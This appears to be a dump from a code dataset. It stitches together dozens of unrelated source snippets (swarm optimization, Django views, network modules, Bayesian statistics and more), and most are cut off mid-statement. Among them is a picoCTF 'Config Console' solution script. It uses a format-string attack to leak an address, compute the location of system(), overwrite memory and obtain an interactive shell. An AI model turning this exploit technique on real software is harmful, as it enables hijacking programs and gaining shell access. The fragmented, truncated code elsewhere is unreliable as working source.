# -*- coding: utf-8 -*- r""" Base class for single-objective Particle Swarm Optimization implementations. All methods here are abstract and raise a :code:`NotImplementedError` when not used. When defining your own swarm implementation, create another class, >>> class MySwarm(SwarmBase): >>> def __init__(...
bounds : tuple of numpy.ndarray, optional a tuple of size 2 where the first entry is the minimum bound whi
le the second entry is the maximum bound. Each array must be of shape :code:`(dimensions,)`. velocity_clamp : tuple, optional a tuple of size 2 where the first entry is the minimum velocity and the second entry is the maximum velocity. It sets the limits for veloc...
dtklein/vFense
tp/src/scripts/create_indexes.py
Python
lgpl-3.0
37,010
0.008484
#!/usr/bin/env python from vFense.db.client import db_connect, r from vFense.core.agent import * from vFense.core.tag import * from vFense.core.user import * from vFense.core.group import * from vFense.core.customer import * from vFense.notifications import * from vFense.operations import * from vFense.plugins.patch...
.OperationId), (OperationCollections.OperationPerAgent,
Id), (OperationCollections.OperationPerApp, Id), ('plugin_configurations', 'name'), (DownloadCollections.LatestDownloadedSupported, SupportedAppsKey.AppId), (DownloadCollections.LatestDownloadedAgent, SupportedAppsKey.AppId), (TagsCollection, TagsKey.TagId), (TagsPerAgent...
lucienfostier/gaffer
python/GafferDispatchUI/TaskListUI.py
Python
bsd-3-clause
2,166
0.007849
########################################################################## # # Copyright (c) 2014, Image Engine Design Inc. All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are # met: # # * Redistrib...
OFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. # ########################################################################## import Gaffer import GafferDispatch Gaffer.Metadata.registerNode( GafferDispatch.TaskList, "description", """ Used to collect tasks for dispatching all at once. """, plugs ...
have run. """, ), } )
alexanderpanchenko/vec2synset
jnt/common.py
Python
apache-2.0
9,157
0.009643
# coding=utf8 from __future__ import print_function import os import argparse import numpy as np import math import random from sys import stderr, stdout import six import plumbum.cmd as cmd import pprint from os.path import splitext, join import codecs from patterns import re_escape, re_amp, re_quote_escape from pand...
return text.decode('utf-8') else: return text def list2str(lst, short=True): """ Returns a string representing a list """ try: if short: return ', '.join(lst) else: return str(
lst) except: if short: return "" else: return "[]" def str2list(str_list): """ Parses a string that supposed to contain a list (or something that has len). Returns a list. """ try: l = eval(str_list) if hasattr(l, "__len__"): ret...
jbalm/ActuarialCashFlowModel
asset/Asset_data.py
Python
gpl-3.0
6,459
0.003716
## Progam packages from ..market_environment.Market_Environment import Market_Environment from ..core_math import credit_pickles ## Python packages from xlrd import open_workbook import xlrd import xlwings as xw import numpy as np class Asset_data(object): """ Objective: ========== This cla...
ket.JLT_sigma = xw.sheets['Market_Environment'].range('C11').value market.JLT_pi = xw.sheets['Market_Environment'].range('C12').value market.recovery_rate = xw.sheets['Market_Environment'].range('C13').value # ================================================================= sheet1 = ope...
Matrix") # ============================================================================================ # get spot rates spot_rates = [] for row in range(2, sheet1.nrows): if (sheet1.cell_type(row, 5) != xlrd.XL_CELL_EMPTY): spot_rates.append(sheet1.cell(row, ...
lovexiaov/SandwichApp
venv/lib/python2.7/site-packages/py2app/build_app.py
Python
apache-2.0
77,527
0.002554
""" Mac OS X .app build command for distutils Originally (loosely) based on code from py2exe's build_exe.py by Thomas Heller. """ from __future__ import print_function import imp import sys import os import zipfile import plistlib import shlex import shutil import textwrap import pkg_resources import collections from...
r('PYTHONFRAMEWORK') PLUGIN_SUFFIXES = { '.qlgenerator': 'QuickLook', '.mdimporter': 'Spotlight', '.xpc': 'XPCServices', '.service': 'Services', '.prefPane': 'PreferencePanes',
'.iaplugin': 'InternetAccounts', '.action': 'Automator', } try: basestring except NameError: basestring = str def rewrite_tkinter_load_commands(tkinter_path): print("rewrite_tk", tkinter_path) m = macholib.MachO.MachO(tkinter_path) tcl_path = None tk_path = None re...
mattjj/pybasicbayes
pybasicbayes/distributions/multinomial.py
Python
mit
17,570
0.01144
from __future__ import division from builtins import zip from builtins import map from builtins import range __all__ = ['Categorical', 'CategoricalAndConcentration', 'Multinomial', 'MultinomialAndConcentration', 'GammaCompoundDirichlet', 'CRP'] import numpy as np from warnings import warn import scipy.stats...
incount(d,minlength=K) for d in data) return counts def _get_weighted_statistics(self,data,weights): if isinstance(weights,np.ndarray): assert weights.ndim in (1,2) if data is None or weights.ndim == 2: # when weights is 2D or data is None, the weights are ex...
# should be np.arange(K)[na,:].repeat(N,axis=0) counts = np.atleast_2d(weights).sum(0) else: # when weights is 1D, data is indices and we do a weighted # bincount counts = np.bincount(data,weights,minlength=self.K) else: if...
ZellMechanik-Dresden/ShapeOut
tests/test_analysis.py
Python
gpl-2.0
3,450
0.001159
#!/usr/bin/env python # -*- coding: utf-8 -*- from __future__ import division, print_function import dclab import numpy as np from shapeout import analysis from helper_methods import example_data_dict def test_basic(): ddict = example_data_dict(size=8472) ds = dclab.new_dataset(ddict) anal = analysis.A...
a_dict(size=8472) ds1 = dclab.new_dataset(ddict) ds2 = dclab.new_dataset(ddict) ds1.config["filtering"]["deform max"] = .5 ds2.config["filtering"]["deform max"] = .2 ds1.config["filtering"]["defo
rm min"] = .0 ds2.config["filtering"]["deform min"] = .0 anal = analysis.Analysis([ds1, ds2]) assert anal.get_config_value(section="filtering", key="deform min") == 0 try: anal.get_config_value(section="filtering", key="deform max") except analysis.MultipleValuesError: pass else:...
Natetempid/nearfield
GUI_Layout_1/GUI_Layout_1/frame_lakeshore_measure.py
Python
gpl-3.0
16,681
0.022121
import Tkinter as tk from matplotlib.backends.backend_tkagg import FigureCanvasTkAgg from matplotlib.figure import Figure from matplotlib import pyplot as plt import matplotlib.animation as animation import datetime import ttk import threading import time import numpy as np class lakeshore_measure_frame(tk.Fra...
self.lakeshore.stop_event.set() #change indicator self.indicator_canvas.itemconfig(self.indicator, fill =
"red4") self.indicatorstr.set('Lakeshore not measuring') #change measurement button self.measure_btn.config(text = 'Start Measurement') while self.lakeshore.thread_active: time.sleep(0.002) #wait for the measurement to stop #clear the measurement queue sel...
asedunov/intellij-community
python/testData/inspections/PyUnresolvedReferencesInspection/getattrAttribute.py
Python
apache-2.0
108
0.037037
class C
(object): def f(self,
name): return name __getattr__ = f c = C() print(c.foo) #pass
Gitweijie/first_project
networking_cisco/plugins/cisco/l3/drivers/asr1k/asr1k_routertype_driver.py
Python
apache-2.0
29,107
0.000069
# Copyright 2015 Cisco Systems, Inc. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless requir...
_ROUTER_GW HOSTING_DEVICE_ATTR = routerhostingdevice.HOSTING_DEVICE_ATTR ROUTER_ROLE_GLO
BAL = cisco_constants.ROUTER_ROLE_GLOBAL ROUTER_ROLE_LOGICAL_GLOBAL = cisco_constants.ROUTER_ROLE_LOGICAL_GLOBAL ROUTER_ROLE_HA_REDUNDANCY = cisco_constants.ROUTER_ROLE_HA_REDUNDANCY TENANT_HSRP_GRP_RANGE = 1 TENANT_HSRP_GRP_OFFSET = 1064 EXT_HSRP_GRP_RANGE = 1 EXT_HSRP_GRP_OFFSET = 1064 N_ROUTER_PREFIX = 'nrouter-' ...
btgorman/RISE-power-water-ss-1phase
classes_water.py
Python
apache-2.0
31,369
0.034588
# Copyright 2017 Brandon T. Gorman # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # http://www.apache.org/licenses/LICENSE-2.0 # Unless required by applicable law or agreed to in writing...
e2') def convertToDataFrame(self): try: return pd.DataFrame(data=self.matrix, columns=self.cols) except: print('WATER ERROR in Curve3') def convert
ToInputTensor(self): try: # inputcols = ['ID', 'type', 'x_value', 'y_value'] # inputdf = self.convertToDataFrame() # inputdf = inputdf[inputcols] return [], [], np.empty([0,0], dtype=np.float32).flatten(), np.empty([0,0], dtype=np.float32).flatten() except: print('WATER ERROR in Curve4') return -1...
hek23/TBD-Grupo5-1s2017
Configuracion/words.py
Python
gpl-3.0
2,644
0.009455
import MySQLdb from datetime import datetime import random mysqldatabase = MySQLdb.connect(host="localhost", # your host, usually localhost user="root", # your username passwd="root", # your password db="WW3App") sqlcursor = mysqldat...
mysqldatabase.commit() ''' sqlcursor.execute("SELECT * FROM WW3App.CountryResume") paises=sqlcursor.fetchall() #Se pasa a lista paisesfiltrados=[] for consulta in paises: pais = [] pais.append(consulta[0]) pais.append(int(consulta[1])) pais.append(int(consulta[2])) paisesfiltrados.append(...
while paisesfiltrados[contadorOrigen][1]>50 and random.randint(1,11)>5: print "while" #Se elige un pais aleatorio idDestino = random.randint(0,238) destino = paisesfiltrados[idDestino] if(destino[2]>0 and paisesfiltrados[contadorOrigen][1]>destino[2]): print "if" ...
stachenov/PyLeetCode
problems/decode_string.py
Python
unlicense
333
0
import re class Solution(object): def decodeString(self, s): """ :type s: str :rtype: str """
# Original idea by @StefanPochma
nn r = re.compile(r"(\d+)\[([^\d\[\]]*)\]") while r.search(s): s = r.sub(lambda m: int(m.group(1)) * m.group(2), s) return s
rapidpro/casepro
casepro/contacts/views.py
Python
bsd-3-clause
5,104
0.002743
from dash.orgs.views import OrgObjPermsMixin, OrgPermsMixin from smartmin.views import SmartCRUDL, SmartFormView, SmartListView, SmartReadView from django import forms from django.conf import settings from django.http import HttpResponseRedirect, JsonResponse from django.utils.translation import gettext_lazy as _ fro...
*kwargs): context = super(ContactCRUDL.Cases, self).get_context_data(**kwargs) cases = ( Case.get_all(self.request.org, self.request.user).filter(contact=self.object).ord
er_by("-opened_on") ) cases = cases.prefetch_related("labels").select_related("contact", "assignee") context["object_list"] = cases return context def render_to_response(self, context, **response_kwargs): return JsonResponse({"results": [c.as_json() ...
sevenian3/ChromaStarPy
Gauss2.py
Python
mit
996
0.014056
# -*- coding: utf-8 -*- """ Created on Thu Sep 21 16:29:34 2017 @author: ishort """ import math """ procedure to generate Gaussian of unit area when passed a FWHM""" #IDL: PRO GAUSS2,FWHM,LENGTH,NGAUS def gauss2(fwhm, length): #length=length*1l & FWHM=FWHM*1l #NGAUS=FLTARR(LENGTH) ...
rea under the gaussian is unity: #AMP=SQRT(CHAR/PI) amp = math.sqrt(char/math.pi) #FOR CNT=0l,(LENGTH-1) DO BEGIN # X=(CNT-
LENGTH/2)*1.d0 # NGAUS(CNT)=AMP*EXP(-CHAR*X^2) #ENDFOR for cnt in range(length): x = 1.0 * (cnt - length/2) ngaus[cnt] = amp * math.exp(-1.0*char*x*x) return ngaus
naparuba/kunai
data/global-configuration/packs/system/collectors/collector_dmidecode.py
Python
mit
2,003
0.002996
import os import re from opsbro.collector import Col
lector # DMI have lot of useful info
rmation that detectors can use to know lot about the platform/hardware class Dmidecode(Collector): def launch(self): logger = self.logger logger.debug('getDmidecode: start') res = {} # Maybe we are in linux and we can directly read the linux_dmi_path = '/sys/class/dm...
pombredanne/datanommer
datanommer.models/alembic/versions/143ec484f5ba_add_uuid_column.py
Python
gpl-3.0
1,242
0.002415
# This file is a part of datanommer, a message sink for fedmsg. # Copyright (C) 2014, Red Hat, Inc. # # This program is free software: y
ou can redistribute it and/or modify it under # the terms of the GNU General Public License as published by the Free Software # Foundation, either version 3 of the License, or (at your option) any later # version. # # This program is distributed in the hope that it will be useful, but WITHOUT # ANY WARRANTY;
without even the implied warranty of MERCHANTABILITY or FITNESS # FOR A PARTICULAR PURPOSE. See the GNU General Public License for more # details. # # You should have received a copy of the GNU General Public License along # with this program. If not, see <http://www.gnu.org/licenses/>. """Add msg_id column Revisio...
pbdr/pymkcmd
pymkcmd/core.py
Python
mit
8,606
0.000116
# pymkcmd | dale@pbdr.info | http://pbdr.info # The main logic of pymkcmd. import sys import inspect import argparse import logging from functools import wraps def mkcmd(func, doc_format='plain', ant_format='auto', parse_bool=True): ''' Generate a CLI (command line interface) for a function. :param fun...
lueError('Invalid `doc_format` value.') parser.description = cmd_desc # ==== CLI arguments. ==== param_types = getattr(func, 'param_types', {}) param_helps = getattr(func, 'param_helps', {}) sig = inspect.signature(func) # Make a CLI argument for each function parameter. for
param in sig.parameters.values(): param_name = param.name param_type = param_types.get(param_name) param_help = param_helps.get(param_name) cmd_arg = \ mk_cmd_arg(param, ant_format, param_type, param_help, parse_bool) parser.add_argument(cmd_a...
corystreet/pyOdbcToTde
Static/TableauSDK-9100.15.0828.1711/tableausdk/__init__.py
Python
gpl-2.0
520
0.001923
# -------
---------------------------------------------------------------------- # # This file is the copyrighted property of Tableau Software and is protected # by registered patents and other applicable U.S. and international laws and # regulations. # # Unlicensed use of the contents of this file is prohibited. Please refer to...
- from Libs import * from Exceptions import * from Types import *
jhdulaney/dot_files
.config/qtile/config.py
Python
gpl-3.0
5,281
0.003219
from glob import glob from random import choice from time import sleep import os import subprocess import platform import re from libqtile import layout, widget, bar, hook from libqtile.widget import base from libqtile.manager import Screen, Drag, Click from libqtile.command import lazy from libqtile.config import Key...
Key([mod, "shift"], i, lazy.window.togroup(i)) ) widget_defaults = dict( font='Arial', fontsize=16, padding=3, ) screens = [ Screen( bottom=bar.Bar( [ #widget.GroupBox(), ...
(), widget.TextBox(platform.node(), name="default"), widget.Systray(), widget.Clock(format='%Y-%m-%d %a %I:%M %p'), ], 30, ), ), ] # Drag floating layou...
gtaylor/btmux_battlesnake
battlesnake/plugins/contrib/ai/plugin.py
Python
bsd-3-clause
287
0
from
battlesnake.core.base_plugin import BattlesnakePlugin from battlesnake.plugins.contrib.ai.inbound_commands import AICommandTable class AiPlugin(BattlesnakePlugin): """ This plugin provides some basic AI management commands. """ command_tables = [
AICommandTable]
rwl/PyCIM
CIM15/IEC61970/Wires/RegulatingControl.py
Python
mit
7,227
0.003321
# Copyright (C) 2010-2011 Richard Lincoln # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to # deal in the Software without restriction, including without limitation the # rights to use, copy, modify, merge, publish...
M, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS # IN THE SOFTWARE. from CIM15.IEC61970.Core.PowerSystemResource import PowerSystemResource class RegulatingControl(PowerSystemResource): """Specifies a set of equipment that works together to control a power system quantity such as voltage ...
.0, discrete=False, targetValue=0.0, monitoredPhase="s12N", RegulatingCondEq=None, Terminal=None, RegulationSchedule=None, *args, **kw_args): """Initialises a new 'RegulatingControl' instance. @param mode: The regulating control mode presently available. This specifications allows for determining the ...
PoornimaNayak/autotest-client-tests
linux-tools/libsndfile/libsndfile.py
Python
gpl-2.0
1,253
0.004789
#!/bin/python import os, subprocess import logging from autotest.client import test from autotest.client.shared import error class libsndfile(test.test): """ Autotest module for testing basic functionality of libsndfile @author Anitha MallojiRao amalloji@in.ibm.com ## """ ...
ss.Popen(['./libsndfile.sh'], cwd="%s/libsndfile" %(test_path)) ret_val.communicate() if ret_val.r
eturncode != 0: self.nfail += 1 except error.CmdError, e: self.nfail += 1 logging.error("Test Failed: %s", e) def postprocess(self): if self.nfail != 0: logging.info('\n nfails is non-zero') raise error.TestError('\nTest failed') ...
Clear-ICT/odoo-addons
sale_line_code/models.py
Python
agpl-3.0
1,037
0
# -*- coding:utf-8 -*- # # # Copyright (C) 2015 Clear ICT Solutions <info@clearict.com>. # All Rights Reserved. # # This program is free software: you can redistribute it and/or modify it # under the ter
ms of the GNU Affero General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distrib
uted in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # al...
kuiwei/edx-platform
lms/envs/common.py
Python
agpl-3.0
63,921
0.00263
# -*- coding: utf-8 -*- """ This is the common settings file, intended to set sane defaults. If you have a piece of configuration that's dependent on a set of feature flags being set, then create a function that returns the calculated value based on the value of FEATURES[...]. Modules that extend this one can change th...
t we stick them in a dict called FEATURES. 3. We need to handle configuration for multiple courses. This could be as multiple sites, but we do need a way to map their data assets. """ # We intentionally define lots of variables that aren't used, and # want to import all variables from base settings files # pylint: ...
ation import ugettext_lazy as _ from .discussionsettings import * from xmodule.modulestore.modulestore_settings import update_module_store_settings from lms.lib.xblock.mixin import LmsBlockMixin ################################### FEATURES ################################### # The display name of the platform to be u...
pymanopt/pymanopt
examples/pca.py
Python
bsd-3-clause
3,394
0
import autograd.numpy as np import tensorflow as tf import torch import pymanopt from examples._tools import ExampleRunner from pymanopt.manifolds import Stiefel from pymanopt.solvers import TrustRegions SUPPORTED_BACKENDS = ("Autograd", "Callable", "PyTorch", "TensorFlow") def create_cost_egrad_ehess(manifold, sa...
problem = pymanopt.Problem(manifold, cost, egrad=egrad, ehess=ehess) if quiet: problem.verbosity = 0 solver = TrustRegions() # from pymanopt.solvers import ConjugateGradient # solver = ConjugateGradient() estimated_span_matrix = solver.solve(problem) if quiet: return ...
estimated_span_matrix @ estimated_span_matrix.T eigenvalues, eigenvectors = np.linalg.eig(samples.T @ samples) indices = np.argsort(eigenvalues)[::-1][:num_components] span_matrix = eigenvectors[:, indices] projector = span_matrix @ span_matrix.T print( "Frobenius norm error between estima...
stinchjack/Python-Raytracer
raytracer/misc/speed.py
Python
lgpl-3.0
608
0
from colour impo
rt * from cartesian import * from timeit import * def test_colour(): b = colour_create(0, 0, 0, 0) for i in range(1, 100000): c = colour_create(.5, .5,
.5, 0) b = colour_add(b, c) def test_cartesian(): b = cartesian_create(0, 0, 0) for i in range(1, 50000): c = cartesian_create(.5, .5, .5) b = cartesian_normalise(cartesian_add(b, c)) d = cartesian_dot(c, b) e = cartesian_cross(c, b) # if __name__ == '__main__': # ...
felixbuenemann/sentry
tests/sentry/rules/conditions/test_first_seen_event.py
Python
bsd-3-clause
407
0
from sentry.testutils.cases import RuleTestCase from sentry.rules.conditions.first_seen_event import FirstSeenEve
ntCondition class FirstSeenEventConditionTest(RuleTestCase):
rule_cls = FirstSeenEventCondition def test_applies_correctly(self): rule = self.get_rule() self.assertPasses(rule, self.event, is_new=True) self.assertDoesNotPass(rule, self.event, is_new=False)
hubertokf/lupsEdgeServer
projects/old_files/Backup e arquivos N utilizados/conectDB.py
Python
mit
462
0.002165
# 06_read_data.py impor
t sqlite3 conn = sqlite3.connect('../../lupsEdgeServer/db.sqlite3') cursor = conn.cursor() # def localizar_cliente(id): # r = cursor.execute( # 'SELECT * FROM API_RestFul_persistance WHERE publisher = ?', (id,)) # for cliente in r.fetchall(): # print(cliente) # # localizar_cliente(0) cursor...
)
mationic/pyload
module/plugins/accounts/MegaRapidCz.py
Python
gpl-3.0
2,147
0.00797
# -*- coding: utf-8 -*- import re import time from module.plugins.internal.Account import Account class MegaRapidCz(Account): __name__ = "MegaRapidCz" __type__ = "account" __version__ = "0.38" __status__ = "testing" __description__ = """MegaRapid.cz account plugin""" __license__ ...
'validuntil': None} def login(self, user, password, data, req): html = self.load("http://megarapid.cz/prihlaseni/") if "Heslo:" in html: start = html.index('id="inp_hash" name="hash" value="') html = html[start + 33:] hashes = html[0:32] html = sel...
hashes, 'login' : user, 'pass1' : password, 'remember': 1, 'sbmt' : u"Přihlásit"})
enthought/etsproxy
enthought/mayavi/filters/api.py
Python
bsd-3-clause
87
0
# proxy modul
e from __future__ import absolute_import from mayavi.filters.api import
*
antoinecarme/sklearn2sql_heroku
tests/classification/BinaryClass_10/ws_BinaryClass_10_LogisticRegression_db2_code_gen.py
Python
bsd-3-clause
145
0.013793
from sklearn2sql_heroku.tests.classification import generic as class_gen class_gen.test_model("Logis
ticRegression" , "BinaryClass_10" ,
"db2")
EuropeanSocialInnovationDatabase/ESID-main
TextMining/NER/testingcommonRegex.py
Python
gpl-3.0
626
0.011182
from commonregex import CommonRegex parsed_text = CommonRegex("""John, please get that arti
cle on www.linkedin.com to me by 5:00PM on Jan 9th 2012. 4:00 would be ideal, actually. If you have any questions, You can reach me at (519)-236-2723x341 or get in touch with my associate at harold.smith@gmail.com""") parsed...
46807878. I was born on December 7th""") print(parsed_text.dates) print(parsed_text.links) print(parsed_text.times) print(parsed_text.phones) print(parsed_text.emails)
boraklavun/python-
dogum.py
Python
gpl-3.0
146
0.027972
dogum=list() Dogum_Tarihi=int(input ("Bir Doğum
Tarihi Giriniz :")) if Dogum_Tarihi < 100: print("Evet!") else:
print("Yanlış!")
Wintellect/WintellectWebinars
2019-06-06-ten-tips-python-web-devs-kennedy/code/top_10_web_explore/ex05_migrations/pypi_org/data/maintainers.py
Python
apache-2.0
292
0
import sqlalchemy from pypi_org.data
.modelbase import SqlAlchemyBase class Maintainer(SqlAlchemyBase): __tablename__ = 'maintainers' user_id: int = sqlalchemy.Column(sqlalchemy.Integer, primary_key=True) package_id: str = sqlalchemy.Column(sqlalchemy.String, primar
y_key=True)
CanonicalLtd/landscape-client
landscape/client/monitor/aptpreferences.py
Python
gpl-2.0
2,007
0
import os from twisted.python.compat import iteritems from landscape.lib.fs import read_text_file from landscape.constants import APT_PREFERENCES_SIZE_LIMIT from landscape.client.monitor.plugin import DataWatcher class AptPreferences(DataWatcher): """ Report the system APT preferences configuration. ""...
preferences_directory = os.path.join(self._etc_apt_directory, u"preferences.d") if os.path.isdir(preferences_directory):
for entry in os.listdir(preferences_directory): filename = os.path.join(preferences_directory, entry) if os.path.isfile(filename): data[filename] = read_text_file(filename) if data == {}: return None item_size_limit = self.size_limi...
kustodian/ansible
lib/ansible/modules/network/fortios/fortios_vpn_ipsec_phase1.py
Python
gpl-3.0
49,802
0.001446
#!/usr/bin/python from __future__ import (absolute_import, division, print_function) # Copyright 2019 Fortinet, Inc. # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the Lic...
choices: - enable - disable
certificate: description: - Names of up to 4 signed personal certificates. type: list suboptions: name: description: - Certificate name. Source vpn.certificate.local.name. ...
stef1927/cassandra-dtest
commitlog_test.py
Python
apache-2.0
26,153
0.002677
import binascii import glob import os import stat import struct import time from distutils.version import LooseVersion import pytest import logging from cassandra import WriteTimeout from cassandra.cluster import NoHostAvailable, OperationTimedOut from ccmlib.common import is_win from ccmlib.node import Node, TimeoutE...
commitlog failure') # Test things are ok at this point self.session1.execute(""" INSERT INTO test (key, col1) VALUES (1, 1); """)
assert_one( self.session1, "SELECT * FROM test where key=1;", [1, 1] ) self._change_commitlog_perms(0) # Use stress_process to skip internal error handling in ccm. Grep node logs for specific errors in test method. self.node1.stress_process([...
WyoARCC/idm-management-tools
checkout-yubikey.py
Python
gpl-2.0
959
0.008342
#!/usr/bin/python ### # # checkout-yubikey.py # # Troy Axthelm # Advanced Research Computing Center # University
of Wyoming # troy.axthelm@uwyo.edu # # Created: 13 June 2016 # # # Modified: <initials> <day> <month> <year> <change notes> # ### import sys sys.path.insert(0, './lib/') import logging import subprocess import idm_manage import argparse __version__='1.0' # argparser and auto generate help # checkout-yubikey usage ...
arser = argparse.ArgumentParser(prog='checkout-yubikey.py', usage=usage, description='Checkout a yubikey to an IDM user') parser.set_defaults() # version parser.add_argument('--version', action='version', version="%(prog)s "+__version__) parser.add_argument('username', nargs='+') parser.add_argume...
iKevinY/DailyProgrammer
pronouncing-hex/pronouncing_hex.py
Python
mit
1,499
0.000667
import fileinput from collections import namedtuple HexChar = namedtuple('HexChar', ['ones', 'tens', 'teens']) HEX_CHARS = { '0': HexChar('bitey', 'zero', None), '1': He
xChar('one', 'ten', 'eleven'), '2': HexChar('two', 'twenty', 'twelve'), '3': HexChar('three', 'thirty', 'thirteen'), '4': HexChar('four', 'fourt
y', 'fourteen'), '5': HexChar('five', 'fifty', 'fifteen'), '6': HexChar('six', 'sixty', 'sixteen'), '7': HexChar('seven', 'seventy', 'seventeen'), '8': HexChar('eight', 'eighty', 'eighteen'), '9': HexChar('nine', 'ninety', 'nineteen'), 'A': HexChar('a', 'atta', 'abteen'), 'B': HexChar('bee',...
mattBrzezinski/Hydrogen
robot-controller/Study/Jitter.py
Python
mit
3,906
0.003584
from PyQt4 import QtCore, QtGui from BaseStudy import BaseStudy class Jitter(BaseStudy): def __init__(self): super(Jitter, self).__init__() self.setWindowTitle("Jitter Function") widget = QtGui.QWidget() self.vbox = QtGui.QVBoxLayout(widget) # General Box self.hbox1 = Qt...
, # self._startFrame.text(), self._endFrame.text(), self.joints)) #self._addButton.clicked.connect(self.on__btnConnect_triggered(self.behaviorLabel.text(), # self.behaviorLabel.text(), # ...
self.joints)) self._setupUi(True, widget) # END __init__() def on__btnConnect_triggered(self, bhvName, boxName, startFrame, endFrame, joint): self.nao.makeJitter(bhvName, boxName, startFrame, endFrame, joint) # END on__btnConnect_triggered() def motion_c...
kevinjqiu/mailchute
mailchute/api/exception.py
Python
bsd-3-clause
76
0
class NotFound(Exception): pass
class BadRequest(Excep
tion): pass
nanditav/15712-TensorFlow
tensorflow/contrib/distributions/python/ops/beta.py
Python
apache-2.0
11,589
0.004228
# Copyright 2016 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applica...
lass distributions. ```python a = [[1, 2, 3], [4, 5, 6]] # Shape [2, 3] b = 5 # Shape [] dist = Beta(a, b) # x will be broadcast to [[.2, .3, .9], [.2, .3, .9]] to match a/b. x = [.2, .3, .9] dist.pdf(x) # Shape [2] ``` """ def __init__(self, a, b, validate_args=False, allow_nan_stats=True, ...
Nm]` `m >= 0`. Defines this as a batch of `N1 x ... x Nm` different Beta distributions. This also defines the dtype of the distribution. b: Positive floating point tensor with shape broadcastable to `[N1,..., Nm]` `m >= 0`. Defines this as a batch of `N1 x ... x Nm` differen...
OpenReliability/OpenReliability
veusz/datasets/histo.py
Python
gpl-2.0
9,823
0.001934
# Copyright (C) 2010 Jeremy S. Sanders # Email: Jeremy Sanders <jeremy@jeremysanders.net> # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # ...
enerator.getBinLocati
ons() self.changeset = self.generator.document.changeset return self.datacache def linkedInformation(self): """Informating about linking
dalraf/iap
giap/views.py
Python
gpl-3.0
17,385
0.002647
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.shortcuts import get_object_or_404, redirect, render, reverse from django.core.urlresolvers import reverse_lazy from django.forms import modelformset_factory from giap.forms import formcentral, formcooperativa, formpa, formcliente, formtran...
'form': form, 'textoformato': textoformato, 'urlretorno': urlretorno, 'mensagem': mensagem, })
else: request.session['confirmadelecao'] = False mensagem = 'Registro Atualizado' textoformato = 'text-info' return render(request, templateedit, { 'form': form, 'urlretorno': urlre...
apple/swift-lldb
examples/darwin/heap_find/heap.py
Python
apache-2.0
61,389
0.001678
#!/usr/bin/python #---------------------------------------------------------------------- # This module is designed to live inside the "lldb" python package # in the "lldb.macosx" package. To use this in the embedded python # interpreter using "lldb" just import it: # # (lldb) script import lldb.macosx.heap #-------...
recurse (task, &vm_region_base_addr, &vm_region_size, &vm_region_depth, &vm_region_info, ...
read stacks // and any regions of memory like __DATA segments, that might contain // data we are looking for if (vm_region_info.protection & VM_PROT_WRITE && vm_region_info.protection & VM_PROT_READ) { baton.callback (task, &baton, 64, ...
napalm-automation/napalm-yang
napalm_yang/models/openconfig/network_instances/network_instance/protocols/protocol/isis/interfaces/interface/levels/level/packet_counters/iih/__init__.py
Python
apache-2.0
11,666
0.001286
# -*- coding: utf-8 -*- from operator import attrgetter from pyangbind.lib.yangtypes import RestrictedPrecisionDecimalType from pyangbind.lib.yangtypes import RestrictedClassType from pyangbind.lib.yangtypes import TypedListType from pyangbind.lib.yangtypes import YANGBool from pyangbind.lib.yangtypes import YANGListTy...
"protocol",
"isis", "interfaces", "interface", "levels", "level", "packet-counters", "iih", ] def _get_state(self): """ Getter method for state, mapped from YANG variable /network_instances/networ...
mphemanth/cusat
irws/huffman.py
Python
gpl-2.0
1,011
0.086053
# application to do huffman coding and decoding. import sys from collections import Counter import math # for assisting in sort operations def key01(item): return item[1] def readFiles(flist): pString=[] for file01 in flist: # loop through files and process pString=pString+open(file01,'r').read().split() ...
ode code={} while len(l)>1: l=sorted(l,key=key01) x=([l[0][0]]+[l[1][0]],l[0][1]+l[1][1]) if type(l[0][0])==str: code[l[0][0]]=[0] else: append(l[0][0],0) if type(l[1][0])==str: code[l[1][0]]=[1] else: append(l[1][0],1) del l[0:2] l.append(x) return l[0][0] if __name__=='__main__'...
02 print code
hgarrereyn/Th3g3ntl3man-CTF-Writeups
2017/picoCTF_2017/problems/binary/Config_Console/exploitConfigConsole.py
Python
gpl-3.0
1,487
0.014795
# By Harrison Green <hgarrereyn> from pwn import * import re # Returns a string that writes up to two bytes to a specific memory address # via a format string attack def w(addr_raw, byte, one_byte): addr = str(hex(addr_raw))[2:] print(str(addr) + ' > ' + str(byte)) val = str(int(byte,16)).zfill(4) addrStr = "" f...
int(re.search(r'<([a-f0-9]*)>', resp).group(1), 16) print('Found address: ' + str(hex(addr))) # Calculate system address sys_addr = addr - 3564304 print('System should be at: ' + str(hex(sys_addr))) # Prepare multistep format string attack sys = str(hex(sys_addr))[2:] sy = [] for i in range(0,len(sys),2): sy.appen...
recvuntil('Config') # Get shell by calling system('sh') sock.send('p sh\n') # We've got shell sock.interactive()
code-wukong/lolcomp
lolcomp/wsgi.py
Python
gpl-2.0
702
0.008547
""" WSGI config for lolcomp project. It exposes the WSGI callable as a module-level variable named ``application``.
For more information on this file, see https://docs.djangoproject.com/en/1.8/howto/deployment/wsgi/ """ import os os.environ.setdefault("DJANGO_SETTINGS_MODULE", "lolcomp.settings") from django.core.wsgi import get_wsgi_application application = get_wsgi_application() ## Heroku # https://devcenter.heroku.com/artic...
